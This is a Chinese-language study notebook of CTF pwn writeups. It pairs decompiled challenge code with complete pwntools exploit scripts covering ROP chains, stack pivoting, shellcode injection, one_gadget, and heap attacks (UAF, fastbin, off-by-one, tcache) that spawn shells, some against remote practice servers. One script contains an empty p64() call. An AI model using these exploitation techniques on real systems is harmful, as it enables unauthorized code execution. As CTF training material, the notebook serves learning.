这个代码片段使用了 Python 的struct.pack()
函数,它的作用是将一个 32 位无符号整数(I
)0x0806ecda
打包成小端字节序(<
)的二进制数据。在这个上下文中,
0x0806ecda
是一个内存地址,而pack('<I', 0x0806ecda)
将其转换为二进制格式以便在编写针对漏洞的利用时使用。通常,
0x0806ecda
这样的内存地址在漏洞利用中用于构造 Return-Oriented Programming(ROP)链,这是一种利用现有程序代码片段(通常称为gadgets)来执行特定操作的方法。在这个例子中,0x0806ecda
可能是一个内存中的地址,指向一个pop edx ; ret
的指令序列。pop edx
是一个常见的指令序列,它将堆栈中的值弹出并存储到寄存器edx
中,然后ret
指令将程序的控制流返回到栈中弹出的地址,这样就可以控制程序的执行流程。所以,
pack('<I', 0x0806ecda)
可能是在准备一个 ROP 链的一部分,用于利用某个漏洞或者对程序进行攻击。from pwn import* from struct import pack io=remote('node4.buuoj.cn',29616) p = b'a'*(0xc+4) p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de769) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x080492d3) # xor eax, eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0807a66f) # inc eax ; ret p += pack('<I', 0x0806c943) # int 0x80 io.sendline(p) io.interactive()ret2csuret2csu
ret2csu
栈迁移
-
ciscn_2019_es_2(开了nx保护)
题干
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
exp
from pwn import *
r = remote('node5.buuoj.cn',25199)
context.log_level = 'debug'
sys = 0x08048400
ret = 0x08048562
payload = b'a'*0x27 + b'b'
r.send(payload)
r.recvuntil('b')
pre_ebp = u32(r.recv(4))
payload1 =(b'aaaa'+p32(sys)+b'aaaa'+p32(pre_ebp-0x28)+b'/bin/sh\x00').ljust(0x28, b'p')
payload1 += p32(pre_ebp-0x38)+ p32(ret)
r.sendline(payload1)
r.interactive()
静态链接类
(有几乎所有函数)ELF找函数此时都用e.symbols['']
1.get_started_3dsctf_2016(nx保护)
题干(用mprotect函数修改权限为可执行)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF
printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}
exp(用自动攻击更简单)
from pwn import *
#r = process('./get_started_3dsctf_2016')
r = remote("node5.buuoj.cn",28954)
e = ELF('./get_started_3dsctf_2016')
#gdb.attach(r)
mprotect = e.symbols['mprotect']
read = e.symbols['read']
ret_3 = 0x809e4c5 #栈平衡pop3个参数
#0x0809e4c5 : pop ebp ; pop esi ; pop edi ; ret
addr = 0x80EB000 #看下方图片
payload=b'a'*0x38+p32(mprotect)+p32(ret_3)+p32(addr)+p32(0x100)+p32(7)+p32(read)+p32(ret_3)+p32(0)+p32(addr)+p32(0x100)+p32(addr)
#为什么是b'a'*0x38而不用覆盖ebp,看汇编因为只有main函数,ebp没有入栈
# sub esp, 3Ch
# mov [esp+3Ch+var_3C], offset aQualAPalavrinh ; "Qual a palavrinha magica? "
# call printf
# lea eax, [esp+3Ch+var_38]
# mov [esp+3Ch+var_3C], eax
# call gets
# xor eax, eax
# add esp, 3Ch
# retn
r.sendline(payload)
payload = asm(shellcraft.sh())
r.sendline(payload)
r.interactive()
str类函数\x00绕过
-
ez_havor 2016(没开nx)
题干void *chall() { size_t v0; // eax void *result; // eax char s[1024]; // [esp+Ch] [ebp-40Ch] BYREF _BYTE *v3; // [esp+40Ch] [ebp-Ch] printf("Yippie, lets crash: %p\n", s); printf("Whats your name?\n"); printf("> "); fgets(s, 1023, stdin); v0 = strlen(s); v3 = memchr(s, 10, v0); if ( v3 ) *v3 = 0; printf("\nWelcome %s!\n", s); result = (void *)strcmp(s, "crashme");//strcmp是比较到\0为止即\x00 if ( !result ) return vuln((int)s, 0x400u); return result; } vuln void *__cdecl vuln(int src, size_t n) { char dest[50]; // [esp+6h] [ebp-32h] BYREF return memcpy(dest, &src, n); }
exp
from pwn import * r = process("./ez_pz_hackover_2016") #r = remote('node5.buuoj.cn',28332) context.log_level = 'debug' #gdb.attach(r) r.recvuntil('crash: 0x')//0x是为了下一句能截取到完整的地址,否则0x会占两位位置,地址刚好8位 s_addr = int(r.recv(8), 16) shelladdr = s_addr - 28//s的地址比ebp高,s地址-28后刚好是ret address的位置 print('0x%x' %s_addr) payload1 = b'crashme\x00' payload = payload1.ljust(26,b'a')+p32(shelladdr) + asm(shellcraft.sh()) r.sendline(payload) #pause() r.interactive()
异架构
本地调试:
tty:窗口
窗口2.
文件调试
qemu-aarch64 -g 1234 -L . ./problem 启动 -g 设置gdbserver端口 -L 设置动态连接库地址
qemu-mipsel -g 1234 ./文件
脚本调试
python3 ex
窗口0.gdb-multiarch ./文件 开一个新shell输 ,
set architecture mips/arm
target remote 127.0.0.1:1234 (ip:port) ip本地一般是127.0.0.1,port看-g的端口号
窗口1:显示调试信息
b main 后c才能在主函数调试si进入函数
模板
from pwn import *
context(arch='arm', os='linux')
context.log_level = 'debug'
p = process(["qemu-arm", "-g", "1234", "./"])
#gdb.attach(target=("127.0.0.1", 1234), exe='文件名', gdbscript="b *0x010570\nc\n")#可以不下断点
#gdb.attach(target=("127.0.0.1", 1234), exe='文件名')
mips架构
寄存器:
前三个参数:A0,A1,A2
返回地址:$ra
rip:pc
rax: v0 system的系统调用是0xfab
汇编:
jr +寄存器:跳转到寄存器(Jump Register)
arm架构
寄存器:
前三个参数:R0,R1,R2
汇编:
one_gadget
1.one
题干
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[3]; // [rsp+8h] [rbp-18h] BYREF
v4[2] = __readfsqword(0x28u);
init();
printf("Give me your one gadget:");
__isoc99_scanf("%ld", v4);
v4[1] = v4[0];
(v4[0])();
return 0;
}
int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
return printf("here is the gift for u:%p\n", &printf);
}
保护竟然全开
可以看到要我们输入v4,而v4是一个函数指针,并且在下面有调用,,,所以我们可以在v4里面输入gadget,,,%ld需要我们将地址转换成十进制的数
因为我们收到的地址是一个字符串,eval()函数是计算括号里面字符串的值,可以将十六进制的数转换成十进制
init里面直接给我们printf的地址,所以我们可以泄漏libc的地址
找一个gadget
【讲一下关于gadget】
这里找gadget,要看此时的程序是否满足one_gadget下面的constraints
第一个gadget需要满足的条件是rcxnull、[rbp-0x70]null 或者 [rcx]null、[rbp-0x70]null
调试让程序走到这里
方法:(gdb one_gadget,然后b printf,接下来一直n下一步就行【执行到__isoc99_scanf@plt,按两次n就行】)
解释一下为什么是这里
因为我们可以看到先调用了__isoc99_scanf函数,记下来并且返回值存放在[rbp-0x18]刚好是v4的地址,因为存储器直接是不能直接传值的,所以用了rax寄存器做中转,[rbp-0x18]的值先传给rax,然后rax的值再传给[rbp-0x10](也就是v5),现在v4和v5的值一样,接下来v5的值给了rdx,接下来调用rdx也就是调用了v4(没有直接调用v4,猜测的可能性,因为v4是还要作为参数)
可以看到rcxnull,那么[rcx]null,满足第一个条件,但是不满足第二个条件,[rbp-0x70]=0x7ffff7fad760 不为null,所以第一个gadget不可以,相应的,我们可以查看其它gadget第二个和第三个也都不满足条件最后看下最后一个
nice,满足条件,[rsp+0x70]==null,所以,我们选择最后一个gadget
exp
from pwn import*
context.log_level = 'debug'
p = remote('node3.buuoj.cn',26916)
libc = ELF('./libc-2.29.so')
p.recvuntil('for u:')
printf_addr = p.recv(14)
printf_addr = eval(printf_addr)#转成十进制
log.success('printf_addr==>'+str(printf_addr))#打印到控制台上
base = printf_addr - libc.symbols["printf"]
one_gadget = base + 0x106ef8
log.success("gadget==>"+str(one_gadget))
p.sendlineafter('gadget:',str(one_gadget))
p.interactive()
数组溢出
1.题干guestbook(只有nx保护)
void __cdecl GuestBook()
{
int index; // [rsp+Ch] [rbp-224h] BYREF
char name[32][16]; // [rsp+10h] [rbp-220h] BYREF
unsigned __int8 id[32]; // [rsp+210h] [rbp-20h] BYREF
puts("Welcome to starRail.");
puts("please enter your name and id");
while ( 1 )
{
while ( 1 )
{
puts("index");
__isoc99_scanf("%d", &index);
if ( index <= 32 ) //数组溢出
break;
puts("out of range");
}
if ( index < 0 )
break;
puts("name:");
read(0, name[index], 0x10uLL);
puts("id:");
__isoc99_scanf("%hhu", &id[index]);
}
puts("Have a good time!");
}
exp
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
r = process('./pwn')
#r = remote(')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
sys=0x401323
for i in range(32):
r.recvuntil(b'index')
r.sendline(str(i))
print("index:"+str(i))
r.recvuntil(b'name:')
r.send(p64(sys)*2)
r.recvuntil(b'id')
r.sendline(b'1')
r.recvuntil(b'index')
r.sendline(b'32') #开始溢出
r.sendlineafter(b'name:', p64(sys))
r.sendlineafter(b'id:', b'8') #输入8刚好覆盖rbp最后一位指向前面某个name填充的地址见上图
r.recvuntil(b'index')
r.sendline(b'-1') #退出循环
#gdb.attach(r)
r.interactive()
2.题干choose_the_seat
void __noreturn vuln()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Here is the seat from 0 to 9, please choose one.");
__isoc99_scanf("%d", &v0);
if ( v0 > 9 )
{
printf("There is no such seat");
exit(1);
}
puts("please input your name");
read(0, &seats[16 * v0], 0x10uLL);
printf("Your name is ");
puts(&seats[16 * v0]);
printf("Your seat is %d\n", v0);
printf("Bye");
exit(0);
}
exp &seats的地址为0x4040a0
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
#r = process('./vuln')
r = remote('node5.anna.nssctf.cn',28100)
e = ELF('./vuln')
libc = ELF('./libc-2.31.so')
r.sendlineafter('one.',b'-6') #scanf函数一定要sendline
r.recvuntil(b'please input your name\n')
r.send(p64(0x4011d6)) #改exit为vuln函数
r.sendlineafter('one.',b'-8')
r.recvuntil(b'please input your name\n')
r.send(b'a'*8) #puts见\x0停止,刚好是printf函数
printf = u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print("printf:"+hex(printf))
base= printf-libc.sym['printf']
print("base:"+hex(base))
r.sendlineafter('one.',b'-6')
r.recvuntil(b'please input your name\n')
r.send(p64(0xe3b01+base))
r.interactive()
tmux
ctrl+b +c | 打开新窗口 |
---|---|
ctrl+b +% | 分左右屏幕 |
ctrl+b +“ | 上下分屏 |
ctrl+b +方向 | 换屏幕 |
ctrl+d | 关屏 |
堆
uaf
题目来自iscc2024-iscc——u
查看保护
代码分析
exp
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context.update(arch='i386',os='linux',log_level='debug')
# context(os='linux', arch='amd64')
file_name = "./WEEK2-pwn2_ISCC_U"
e = ELF(file_name)
p= process(file_name)
libc = ELF('./libc6-i386_2.31-0ubuntu9.14_amd64.so')
#p = remote(')
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0x\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def choice(idx):
sla("What's your choice :",str(idx))
def add(size,content):
choice(1)
sa('Note size :',str(size))
sa('Content :',content)
def delete(idx):
choice(2)
sa('Index :',str(idx))
#print("删掉chunk%d" % idx)
def show(idx):
choice(3)
sa('Index :',str(idx))
def exit():
choice(4)
#首先利用unsortbin泄露libc
add(0x500,b'a')
add(0x28,b'/bin/sh\x00') #原因避免下一步free后堆和top chunk合并导致在unsortedbin中找不到堆块
delete(0)
add(0x8,b'a') #一定要申请回来,保证下一步打印的时候fd指针存放的是打印函数的地址,如果在tcach中fd就是0了。
show(0)
base=u32(rc(4))-0x1e9-0x50-libc.sym['__malloc_hook']
print(hex(base))
sys=base+libc.sym['system']
print(hex(sys))
delete(2)
delete(1)
add(0x8,p32(sys)+b'sh')
show(2)
it()
fastbin_attack(uaf)
1.测试题/fastbin
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
break;
}
}
}
exp
from pwn import *
libc = ELF("./libc-2.23.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
#p = remote("192.168.123.29",10002)
def add_chunk(index, size):
p.sendafter("choice:", "1")
p.sendafter("index:", str(index))
p.sendafter("size:", str(size))
def delete_chunk(index):
p.sendafter("choice:", "2")
p.sendafter("index:", str(index))
def edit_chunk(index, content):
p.sendafter("choice:", "3")
p.sendafter("index:", str(index))
p.sendafter("length:", str(len(content)))
p.sendafter("content:", content)
def show_chunk(index):
p.sendafter("choice:", "4")
p.sendafter("index:", str(index))
add_chunk(0, 0x200)
add_chunk(1, 0x20) #这个chuck(1)是防止chunk(0)free后被合并入topchunk
delete_chunk(0)
show_chunk(0) #打印出main_arean+88地址
base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - libc.sym['main_arena']-88
info("libc base: " + hex(base))
add_chunk(0, 0x68)
delete_chunk(0)
edit_chunk(0, p64()) # uaf伪造了一个堆块,-0x23是为了通过glibc堆检测,size位要有值
gdb.attach(p)
add_chunk(0, 0x68)
add_chunk(0, 0x68) #这是那个伪造堆块,不会在heap调试信息显示,因为是#base+libc.sym['__malloc_hook'] - 0x23。在栈段上
one_gadget = base + [0x3f3e6, 0x3f43a, 0xd5c07][2]
edit_chunk(0, b'a' * 0x13 + p64(one_gadget))
add_chunk(0, 0x20) #为了触发被改成ogg的malloc_hook,调用malloc时先检查malloca_hook是否为空,不为空则执行malloca_hook
p.interactive()
2 HNctf,what(不能指定堆块定位参数,)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setv111(argc, argv, envp);
v4 = 0;
puts("Welcome to H&NCTF2024");
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
if ( v4 <= 0 || v4 > 5 )
{
puts("Error");
}
else
{
switch ( v4 )
{
case 1:
allocate();
break;
case 2:
free_0(); //从最后一个堆块开始删
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
exit(0);
default:
continue;
}
}
}
exp
from pwn import *
p=process('./what')
elf=ELF('./what')
lib=elf.libc
context.log_level='debug'
#p=remote('hackf.imxbt.cn',42474)
def debug():
gdb.attach(p)
#gdb.attach(p,'b *0xd55\nc')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
it = lambda : p.interactive()
def choice(idx):
sla('Enter your command:\n',str(idx))
def add(size):
choice(1)
sla('size',str(size))
#print("添加chunk%d" % idx)
def delete():
choice(2)
#print("删掉chunk%d" % idx)
def show(idx):
choice(3)
sa('please enter idx:\n',str(idx))
def edit(idx,content):
choice(4)
sa("please enter idx:\n",str(idx))
sa("Please enter your content:\n",content)
debug
add(0x10) #0
add(0x500) #1
add(0x10) #2
delete() #2
delete() #1
show(1)
p.recvuntil('Content:')
base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x3ebca0
print(hex(base_addr))
free_hook=base_addr+lib.sym['__free_hook']
system_addr=base_addr+lib.sym['system']
edit(2,p64(free_hook))
#debug()
add(0x10) #1指向freehook
add(0x10) #2就是free_hook
add(0x10) #3从unsortbin0x500大小的切下一部分
edit(3,b'/bin/sh\x00')
edit(2,p64(system_addr)) #把freehook改system
delete() #删去3,把内容弹到rdi
p.interactive()
off by one
1.xyctf one_byte
题干
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_choice();
if ( choice != 1 )
break;
add_chunk();
}
switch ( choice )
{
case 2:
delete_chunk();
break;
case 3:
view_chunk();
break;
case 4:
edit_chunk();
break;
case 5:
puts("[-] exit()");
exit(0);
default:
puts("[-] Error choice!");
break;
}
}
exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
filename = './vuln'
to = process(filename)
elf = ELF(filename)
libc = elf.libc
#ld = ELF('ld-2.31.so')
def debug():
gdb.attach(to,"b*$rebase(0x1826)")
def choice(idx):
to.sendlineafter(">>>",str(idx))
def add(idx,size):
choice(1)
to.sendlineafter("please input chunk_idx: ",str(idx))
to.sendlineafter("Enter chunk size: ",str(size))
def delete(idx):
choice(2)
to.sendlineafter("please input chunk_idx: ",str(idx))
def show(idx):
choice(3)
to.sendlineafter("please input chunk_idx: ",str(idx))
def edit(idx,content):
choice(4)
to.sendlineafter("please input chunk_idx: ",str(idx))
sleep(0.1)
to.send(content)
debug()
#1.为填充cache bln [0xa0]做准备
add(0,0x98)
add(1,0x98)
add(2,0x98)
add(3,0x98)
add(4,0x98)
add(5,0x98)
add(6,0x98)
# 2.为后续利用off by one漏洞做准备
add(7,0x18)
add(8,0x18)
add(9,0x98)
add(10,0x18)
# 3.填满tcache btlns [0xa0]
delete(0)
delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
# # 4.通过off by one,制造uaf漏洞,并泄露libc地址
edit(7,b'a'*0x18+p8(0xc1))
delete(8)
add(11,0xb8)
delete(9)
show(11)
to.recv(0x20)
llbc_base = u64(to.recv(6).ljust(8,b'\x00')) - 0x1ECBE0 #是__malloc_hook+0x16
print('libc_base:' + hex(llbc_base))
system_addr = llbc_base + libc.sym['system']
free_hook = llbc_base + libc.sym['__free_hook']
#5.恢复原本chunk的大小
edit(7,b'a'*0x18+p8(0x21))
#6.将多余的chunk申请掉,为后续改写chunk的fd指针做准备
add(12,0x18)
add(13,0x78)
#7.制造tcachebin的uaf
add(14,0x18)
add(15,0x68)
add(16,0x68)
add(17,0x68)
edit(14,b'd'*0x18+p8(0xe1))
delete(15) #原本15的chunk
add(18,0xd8)
#8.之所以把17也free,原因是需要改变tcachabin index的值
#改掉chunk 16 的fd指针,指向_free_hook
delete(17)
delete(16)
edit(18,b'a'*0x68+p64(0x71)+p64(free_hook))
#9.两次申请chunk,申请到_free_hook空间
add(19,0x68) #原本chunk16,
add(20,0x68) #_free_hook的空间
edit(19,b'/bin/sh;')
edit(20,p64(system_addr)) #填入system地址
delete(19) #触发_free_hook调用,调用system(’/bin/sh’)
to.interactive()
tcache机制
范围:最大0x440,之后放入unsortbin
在GLIBC2.26中,引入了一种新的bins,他类似于fastbin,但是每条链上最多可以有7个chunk,free的时候当tcache满了才放入fastbin,unsorted bin,malloc的时候优先去tcache找。
换句话说. tcache是比fastbin优先级更高范围更大的一类bins
对于tcache来说,他的free范围变大了,也就是说我们直接free一块unsorted bin大小的chunk,并不会直接进入unsorted bin而是会先进入tcache,只有对应大小的tcache满了以后,才会放入unsorted bin。
这时想要得到一个unsorted bin有以下方法:
1.free一个largebin,largebin不会放入tcache
2.先连续free填满tcache,再free放进unsorted bin
3.(2.31以后因为更新不可用)在存有uaf的时候,可以先连续free两次,再malloc三次快速填满tcache。这时因为tcache的个数是由count代表的,每申请一次就会-1且申请时并不判断count,先free两次造成double free,令next始终指向自身,这时count为2,再连续申请3次,count变为-1,而在比较时是char类型,也就是unsigned int8,-1远大干7,导致tcache认为已满
4.打tcache_pthread_struct修改count后free
bin中的检测机制
- double free:glibc2.23对于double free的管理非常地松散,如果连续释放相同chunk的时候,会报错,但是如果隔块释放的话,就没有问题。在glvibc2.27及以后的glibc版本中,加入了tcache机制,加强了对use after free的检测,所以glibc2.23中针对fastbin的uaf在glibc2.27以后,就失效了。glibc2.27—ubuntu4加入了tchache的double free检测
- safe-linking